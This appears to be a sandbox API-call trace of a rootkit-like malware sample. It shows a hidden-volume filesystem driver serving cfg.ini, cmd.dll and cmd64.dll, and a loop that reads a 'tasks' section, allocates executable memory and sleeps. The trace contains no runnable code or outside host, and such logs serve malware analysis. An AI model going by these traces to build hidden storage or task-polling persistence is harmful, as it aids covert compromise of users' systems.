[0121.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.084] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.084] IdePortDispatch () returned 0x103 [0121.085] KeWaitForMutexObject () returned 0x0 [0121.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.085] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.085] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.085] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.085] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.085] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe2a0 [0121.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.085] KeLeaveCriticalRegion () [0121.085] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.085] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.085] KeEnterCriticalRegion () [0121.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.085] KeLeaveCriticalRegion () [0121.085] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.085] KeEnterCriticalRegion () [0121.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.085] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.085] IdePortDispatch () returned 0x103 [0121.085] KeWaitForMutexObject () returned 0x0 [0121.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.085] KeLeaveCriticalRegion () [0121.085] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.086] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.086] KeEnterCriticalRegion () [0121.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003574000 [0121.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.086] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.086] IdePortDispatch () returned 0x103 [0121.086] KeWaitForMutexObject () returned 0x0 [0121.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.086] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.086] IdePortDispatch () returned 0x103 [0121.086] KeWaitForMutexObject () returned 0x0 [0121.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.086] KeLeaveCriticalRegion () [0121.086] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.087] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.087] KeEnterCriticalRegion () [0121.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] KeLeaveCriticalRegion () [0121.087] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.087] KeEnterCriticalRegion () [0121.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.087] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] KeLeaveCriticalRegion () [0121.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.087] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.087] KeEnterCriticalRegion () [0121.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] ExFreePoolWithTag (P=0xfffffa8003bbe2a0, Tag=0x0) [0121.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] KeLeaveCriticalRegion () [0121.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.087] ReleaseMutex (hMutex=0xf0) returned 1 [0121.087] Sleep (dwMilliseconds=0x927c0) [0121.093] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.098] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.098] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.098] KeEnterCriticalRegion () [0121.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.099] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.099] IdePortDispatch () returned 0x103 [0121.099] KeWaitForMutexObject () returned 0x0 [0121.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.099] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.099] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.099] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.099] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.099] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe010 [0121.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.099] KeLeaveCriticalRegion () [0121.099] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.099] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.099] KeEnterCriticalRegion () [0121.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.099] KeLeaveCriticalRegion () [0121.099] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.099] KeEnterCriticalRegion () [0121.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.099] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.099] IdePortDispatch () returned 0x103 [0121.099] KeWaitForMutexObject () returned 0x0 [0121.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.099] KeLeaveCriticalRegion () [0121.099] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.100] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.100] KeEnterCriticalRegion () [0121.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b8000 [0121.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.100] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.100] IdePortDispatch () returned 0x103 [0121.100] KeWaitForMutexObject () returned 0x0 [0121.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.100] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.100] IdePortDispatch () returned 0x103 [0121.100] KeWaitForMutexObject () returned 0x0 [0121.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.100] KeLeaveCriticalRegion () [0121.100] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.101] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.101] KeEnterCriticalRegion () [0121.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] KeLeaveCriticalRegion () [0121.101] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.101] KeEnterCriticalRegion () [0121.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.101] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b67c60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] KeLeaveCriticalRegion () [0121.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.101] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.101] KeEnterCriticalRegion () [0121.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] ExFreePoolWithTag (P=0xfffffa8003bbe010, Tag=0x0) [0121.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] KeLeaveCriticalRegion () [0121.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.101] ReleaseMutex (hMutex=0xf0) returned 1 [0121.101] Sleep (dwMilliseconds=0x927c0) [0121.109] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.109] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.109] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.109] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.109] KeEnterCriticalRegion () [0121.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.109] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.109] IdePortDispatch () returned 0x103 [0121.109] KeWaitForMutexObject () returned 0x0 [0121.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.110] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.110] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.110] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.110] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.110] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3cc0 [0121.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.110] KeLeaveCriticalRegion () [0121.110] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.110] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.110] KeEnterCriticalRegion () [0121.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.110] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.110] KeLeaveCriticalRegion () [0121.110] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.110] KeEnterCriticalRegion () [0121.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.110] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.110] IdePortDispatch () returned 0x103 [0121.110] KeWaitForMutexObject () returned 0x0 [0121.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.110] KeLeaveCriticalRegion () [0121.110] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.111] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.111] KeEnterCriticalRegion () [0121.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bb000 [0121.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.111] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.111] IdePortDispatch () returned 0x103 [0121.111] KeWaitForMutexObject () returned 0x0 [0121.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.111] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.111] IdePortDispatch () returned 0x103 [0121.111] KeWaitForMutexObject () returned 0x0 [0121.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.111] KeLeaveCriticalRegion () [0121.111] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.112] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.112] KeEnterCriticalRegion () [0121.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] KeLeaveCriticalRegion () [0121.112] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.112] KeEnterCriticalRegion () [0121.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.112] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] KeLeaveCriticalRegion () [0121.112] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.112] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.112] KeEnterCriticalRegion () [0121.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] ExFreePoolWithTag (P=0xfffffa8003bc3cc0, Tag=0x0) [0121.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.112] KeLeaveCriticalRegion () [0121.112] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.112] ReleaseMutex (hMutex=0xf0) returned 1 [0121.112] Sleep (dwMilliseconds=0x927c0) [0121.126] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.126] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.126] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.126] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.126] KeEnterCriticalRegion () [0121.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.126] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.126] IdePortDispatch () returned 0x103 [0121.127] KeWaitForMutexObject () returned 0x0 [0121.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.127] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.127] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.127] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.127] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.127] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe700 [0121.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.127] KeLeaveCriticalRegion () [0121.127] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.127] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.127] KeEnterCriticalRegion () [0121.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.127] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.127] KeLeaveCriticalRegion () [0121.127] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.127] KeEnterCriticalRegion () 